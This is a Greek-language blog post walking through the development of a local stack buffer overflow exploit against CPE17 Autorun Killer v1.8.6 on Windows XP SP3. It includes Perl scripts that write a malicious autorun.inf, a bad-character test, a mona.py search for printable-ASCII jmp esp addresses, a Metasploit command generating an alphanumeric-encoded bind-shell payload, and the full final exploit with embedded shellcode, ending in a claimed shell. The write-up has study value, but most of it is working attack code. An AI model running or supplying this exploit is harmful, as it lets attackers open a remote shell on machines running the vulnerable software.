RSS

Εξερευνώντας, ένα ASCII Buffer Overflow.

01 Oct

Πριν από μερικές μέρες, για τις ανάγκες ενός project, κατέβασα την freeware εφαρμογή CPE17 Autorun Killer (AntiAutorun), η οποία έχει σκοπό της, την διαγραφή των ύποπτων “autorun.inf” αρχείων από τον σκληρό δίσκο μας η απο κάποιο εξωτερικό δίσκο. Ενώ λοιπόν, εγώ είχα στα χέρια μου είχα την έκδοση “v.1.8.6 Build 1590” της εφαρμογής –μετά από λίγο ψάξιμο– ανακάλυψα, ότι μια προηγούμενη έκδοση της (v.1.7.2 Build 1330), ήταν ευπαθής σε επιθέσεις (local) stack based buffer overflow. Για να είμαι ειλικρινής, στην αρχή δοκίμασα να εκτελέσω τα public exploits του Xelenonz (1,2) αλλά δυστυχώς, δεν έπαιξαν ούτε για την έκδοση v.1.8.6 Build 1590 (που είχα εγώ) αλλά ούτε και για την v.1.7.2 Build 1330 για την οποία προοριζόντουσαν.Έτσι σκέφτηκα, ότι δε χάνω τίποτα να δοκιμάσω να γράψω το δικό μου exploit.

Προβλήματα και περιορισμοί.

Πρώτη μου σκέψη ήταν ότι το πρόβλημα –λογικά– είχε να κάνει με την διεύθυνση 0x775a676f την οποία καλούσαν τα exploits για το “jmp esp”. Έτσι υπέθεσα, ότι θα χρειαζόταν απλά να αλλάξω την εν λόγο διεύθυνση με μια άλλη… και boom!

Για τις ανάγκες μάλιστα του test, δημιούργησα ένα, sciptάκι σε perl το οποίο όταν εκτελείται, παράγει στον δίσκο “C:\” ένα κακόβουλο αρχείο με την ονομασία “autorun.inf”. Το αρχείο αυτό, περιέχει 500 “Α”, (όσα δηλαδή χρειάζονται για γίνει υπερχείλιση του buffer της εφαρμογής cpe17antiautorun1590.exe). Μετά τα 500 “A”, ακολουθεί η διεύθυνση 0x7C874413 του kernel32.dll (που είχαμε βρει σε προηγούμενο άρθρο) η οποία όταν εκτελεστεί, θα κάνει jump στον ESP register, εκεί δηλαδή όπου θα τοποθετηθεί το shellcode. Βέβαια, για το πρώτο test, δεν χρειαζόταν να εκτελεστεί κάποιο shellcode απλά στον χώρο αυτό να γραφτουν μερικά “B”.

$file= "C:\\autorun.inf";
print "\n[+] Creating the evil file: $file...\n";

$junk  = "\x41" x 500;
$ret = pack('V',0x7C874413);  	# JMP ESP - Windows XP SP3 [kernel32.dll]
$shellcode = "\x42" x 800;
$payload = $junk.$ret.$shellcode;

open($FILE,">$file") || die "[-] Error: $!\n";
print $FILE $payload;
close($FILE);

print "[+] The '$file' created successfully!\n";

Αφού λοιπόν, εκτέλεσα το παραπάνω script, δημιουργήθηκε επιτυχώς στον δίσκο “C:\” το κακόβουλο αρχείο “autorun.inf” το οποίο και περιείχε τα παρακάτω :

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#D‡|BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Στη συνέχεια, έκανα attach την εφαρμογή “cpe17antiautorun1590.exe” στον immunity debugger και πάτησα “run” ώστε να ξεκινήσει η εκτέλεση της. Στη συνέχεια κάνοντας δεξί κλικ κάτω στο tray icon της εφαρμογής cpe17antiautorun1590.exe δοκίμασα να επιλέξω το “Kill in Computer” ώστε να επιχειρηθεί η διαγραφή του κακόβουλου αρχείου “autorun.inf” απ ‘ τον δίσκο “C:\”.(εικόνα 1)

Όπως ήταν αναμενόμενο η εφαρμογή, έσκασε αλλά δυστυχώς, τα πράγματα δεν εξελέγχθηκαν όπως ακριβώς θα περίμενα!

Όπως είναι εμφανές απ’ την εικόνα 2, ο EIP register, αντί να επεγραφεί με την διεύθυνση 0x7C874413 (δηλαδή την διεύθυνση του jmp esp του kenel32.dll) όπως ήταν αναμενόμενο, επεγράφει με την διεύθυνση 0x42427C44.

“Αρκετά παράξενο” – σκέφτηκα.

Με μια πιο προσεχτική ματιά όμως, τα πράγματα δείχνουν πιο ξεκάθαρα! Φαίνεται –για κάποιο λόγο– να έχουν αγνοηθεί το “87” και το “13 καί η διεύθυνσή, συνεχίζει με τα B (το 42 σε hex) που έχουν οριστεί για το shellcode.

Μετά από λίγο ψάξιμο, συνειδητοποίησα ότι η εφαρμογή φιλτράρει τους χαρακτήρες που εισάγονται και ουσιαστικά επιτρέπει μόνο τους printable ASCII characters, δηλαδή:

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

Σημείωση: Όλοι οι ASCII χαρακτήρες, συμπεριλαμβανομένων και των non-printable ειναι 128. Οι 95 χαρακτήρες ASCII που ειναι printable ξεκινάν απ’ το 20 μεχρι το 7E (φυσικα, μιλάμε για το δεκαεξαδικό (hex) σύστημα). Ακολουθεί, η δεκαεξαδική (hex) αναπαράσταση όλων των printable ASCII characters :

\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e

Η επίλυση του προβλήματος.

Για να επιβεβαιώσω, ότι η προηγούμενη εικασία ήταν σωστή, έκανα ορισμένες αλλαγές στο script που χρησιμοποιήθηκε στα προηγούμενα βήματα. Άλλαξα την διεύθυνση που θα δείχνει ο EIP register σε 4 B (0x42424242),ενώ στον χώρο που θα τοποθετούσα το shellcode έβαλα όλους του πιθανούς printable ascii characters. Τέλος, εκτέλεσα το script ώστε να δημιουργηθεί στον δίσκο “C:\” το νέο “autorun.inf” αρχείο.

$file= "C:\\autorun.inf";
print "\n[+] Creating the evil file: $file...\n";

$junk  = "\x41" x 500;
$ret = "\x42" x 4 ;

$shellcode =
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33".
"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47".
"\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b".
"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f".
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e";

$payload = $junk.$ret.$shellcode;

open($FILE,">$file") || die "[-] Error: $!\n";
print $FILE $payload;
close($FILE);

print "[+] The '$file' created successfully!\n";

Αφού “έσκασε” –για άλλη μια φορά– η εφαρμογή (εξαιτίας του νεου autorun.inf που δημιουργήθηκε!) έριξα μια ματιά στο dump. Ήταν πλέον εμφανές (εικόνα 3), δεν είχε “φαγωθεί” κανένα από τα στοιχεία που είχα τοποθετήσει στη μεταβλητή “$shellcode”.

Γράφοντας το πολυπόθητο, exploit.

Αφού λοιπόν ανακάλυψα, το τρόπο με τον οποίο η εφαρμογή “φίλτραρε” τα δεδομένα που της έδινα, το επόμενο βήμα μου, ήταν να βρω μιας διεύθυνση “jmp esp” η οποίο όμως, θα πληρούσε τις παραπάνω προϋποθέσεις, δηλαδή να περιέχει μόνο printable ASCII characters.

Για να απαλλαγώ μάλιστα από τον πολύ κόπο και το manual ψάξιμο, χρησιμοποίησα το python plugin της ομάδας corelan για τον immunity debugger, “mona.py“.Ουσιαστικά, “ανέθεσα” στο mona.py να ψάξει, σε όλα τα executable modules για το instruction “jmp esp” και στη συνέχεια, να εμφανίσει όλα τα αποτελέσματα (δηλαδή όσες διευθύνσεις βρήκε) που είναι σε μορφή ascii.

Έδωσα την εντολή :

!mona find -type instr -s "jmp esp" -cp "ascii"

Αφού ολοκληρώθηκε η εκτέλεση της παραπάνω εντολής, το mona.py με ενημέρωσε ότι βρέθηκαν 241 αποτελέσματα. Έτσι, πήγα στον κατάλογο “C:\logs\cpe17antiautorun1590” και άνοιξα το αρχείο “find.txt” που δημιουργήθηκε με τα ευρήματα. Στη συνέχεια, χρειάστηκε ένα μικρό “ξεκαθάρισα” στις διευθύνσεις που υπήρχαν εκεί, ώστε να πληρούν τα παραπάνω κριτήρια (δηλαδή να είναι μόνο printable ASCII characters).

Μερικά παραδείγματα διευθύνσεων :

0x7747235f : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [comctl32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.0 (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll)
0x77472843 : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [comctl32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.0 (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll)
0x77472a47 : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [comctl32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.0 (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll)
.......
0x7e49227c : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e492378 : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e49237c : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e49252c : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e492530 : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e492647 : "jmp esp" | asciiprint,ascii {PAGE_READONLY} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)

Από την παραπάνω λίστα, επέλεξα τη διεύθυνση 0x7e49227c (απ’ το user32.dll) και την πρόσθεσα στο exploit.

$ret = pack('V',0x7e49227c);  	# JMP ESP - Windows XP SP3 [user32.dll]

Για το τέλος, έμεινε το να δημιουργηθεί κάποιο shellcode και φυσικά να γίνει encode με το σωστό τρόπο! Επέλεξα τον alphanumeric mixedcase encoder “x86/alpha_mixed” του metasploit.

msfpayload windows/shell_bind_tcp lport=4444 R | msfencode -e x86/alpha_mixed BufferRegister=ESP -t perl

Σημείωση: Πριν δημιουργηθεί και γίνει encode το shellcode, χρειάστηκε να ορίσω την παράμετρο BufferRegister=ESP, τον register δηλαδή όπου θα τοποθετούσα το shellcode.

Για να σιγουρευτώ όμως ότι μέσα στο shellcode είχα μόνο printable ASCII characters το μετέτρεψα απο hex σε ascii. Το αποτέλεσμα έμοιαζε με το :

TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLjHoywpgpePsPK9zEtqIBqtNkV2vPNkRr6lnksb4TnksBVHDOnWrjWV01io01YPnL5lPa1leRvLQ0O1HOfmC18GM2xpF2bwlKPR20NkCrUlVaXPlKQPd8K5iPadBjC1zpf0nk78UHNkf8a0gqkcjCWLbilKwDLKgqJveaIoUaYPLlYQZovms1hG4x9p1el4wsCMJXEkCM5tcEhbchlKchet7qICRFNkvlpKlKV8WleQKcLKtDlKwqhPNiqT4dtdSkCk1q1I1JBqYo9p2xSoBznkeBxklFCm3XvSebGpePcXqg1cgB1OpT58rlsGDfDG9oxU88Z05QWpePTiO4v4pPbHWYopbKEP9oyE2p0PpPpPG0V0W0pPaxxj6oYOM0yoYEniZgua9K1C58grc0FqqLniZF1zDPcfRw3XkrKktwU7io8UPSqGE8X7JIvXkOKOXUccCcv7rHD4JLwKkQkOzu67oyHGPhaePnrm3QIoN5e83SRMU45PnizCbwBw1GvQJVqzr22y1FZBkM56Kw0DEtUlc1C1lMRd5t4PYVC0aTSd2pQFv6RvW60VRnf60VCcBv0ht98LWOk6YokeLIKPpNf61VIoP0bHGxMWWmapkOzumk8pNUlbPVphmvNuoMmMkON5elWvsLtJk0KK9pT5s5mkPGdSRRrO0jC0bsioXUAA

Το τελικό exploit (cpe17antiautorun1590_Exploit.pl) είχε τη παρακάτω μορφή :

# -------------------------------------------------------
# CPE17 Autorun Killer (AntiAutorun)
# v.1.8.6 Build 1590 - Stack Buffer Overflow exploit
# Tested on Windows XP SP3 English.
# Author: mr.pr0n (@_pr0n_)
# Homepage: https://ghostinthelab.wordpress.com/
# -------------------------------------------------------
# Bug found by Trackerx90
# -------------------------------------------------------

$file= "C:\\autorun.inf";
print "\n[+] Creating the evil file: $file...\n";

$junk  = "\x41" x 500;

$ret = pack('V',0x7e49227c);  	# JMP ESP - Windows XP SP3 [user32.dll]

# windows/shell_bind_tcp
# PORT = 4444
$shellcode =
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLjHoywpgpePsPK".
"9zEtqIBqtNkV2vPNkRr6lnksb4TnksBVHDOnWrjWV01io01YPnL5lPa1leRvLQ0O1HO".
"fmC18GM2xpF2bwlKPR20NkCrUlVaXPlKQPd8K5iPadBjC1zpf0nk78UHNkf8a0gqkcj".
"CWLbilKwDLKgqJveaIoUaYPLlYQZovms1hG4x9p1el4wsCMJXEkCM5tcEhbchlKchet".
"7qICRFNkvlpKlKV8WleQKcLKtDlKwqhPNiqT4dtdSkCk1q1I1JBqYo9p2xSoBznkeBx".
"klFCm3XvSebGpePcXqg1cgB1OpT58rlsGDfDG9oxU88Z05QWpePTiO4v4pPbHWYopbK".
"EP9oyE2p0PpPpPG0V0W0pPaxxj6oYOM0yoYEniZgua9K1C58grc0FqqLniZF1zDPcfR".
"w3XkrKktwU7io8UPSqGE8X7JIvXkOKOXUccCcv7rHD4JLwKkQkOzu67oyHGPhaePnrm".
"3QIoN5e83SRMU45PnizCbwBw1GvQJVqzr22y1FZBkM56Kw0DEtUlc1C1lMRd5t4PYVC".
"0aTSd2pQFv6RvW60VRnf60VCcBv0ht98LWOk6YokeLIKPpNf61VIoP0bHGxMWWmapkO".
"zumk8pNUlbPVphmvNuoMmMkON5elWvsLtJk0KK9pT5s5mkPGdSRRrO0jC0bsioXUAA";

$payload = $junk.$ret.$shellcode;

open($FILE,">$file") || die "[-] Error: $!\n";
print $FILE $payload;
close($FILE);

print "[+] The '$file' created successfully!\n";

…το οποίο δημιουργεί στο δισκο C:\ το κακόβουλο αρχείο autorun.inf το οποίο θα είναι έτσι :

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|"I~TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLjHoywpgpePsPK9zEtqIBqtNkV2vPNkRr6lnksb4TnksBVHDOnWrjWV01io01YPnL5lPa1leRvLQ0O1HOfmC18GM2xpF2bwlKPR20NkCrUlVaXPlKQPd8K5iPadBjC1zpf0nk78UHNkf8a0gqkcjCWLbilKwDLKgqJveaIoUaYPLlYQZovms1hG4x9p1el4wsCMJXEkCM5tcEhbchlKchet7qICRFNkvlpKlKV8WleQKcLKtDlKwqhPNiqT4dtdSkCk1q1I1JBqYo9p2xSoBznkeBxklFCm3XvSebGpePcXqg1cgB1OpT58rlsGDfDG9oxU88Z05QWpePTiO4v4pPbHWYopbKEP9oyE2p0PpPpPG0V0W0pPaxxj6oYOM0yoYEniZgua9K1C58grc0FqqLniZF1zDPcfRw3XkrKktwU7io8UPSqGE8X7JIvXkOKOXUccCcv7rHD4JLwKkQkOzu67oyHGPhaePnrm3QIoN5e83SRMU45PnizCbwBw1GvQJVqzr22y1FZBkM56Kw0DEtUlc1C1lMRd5t4PYVC0aTSd2pQFv6RvW60VRnf60VCcBv0ht98LWOk6YokeLIKPpNf61VIoP0bHGxMWWmapkOzumk8pNUlbPVphmvNuoMmMkON5elWvsLtJk0KK9pT5s5mkPGdSRRrO0jC0bsioXUAA

Η επιτυχής εκτέλεση του exploit:

Got shell!

Video

 
Leave a comment

Posted by on October 1, 2012 in Exploits, It's Greek to Me

 

Tags: , , , , , ,

Leave a comment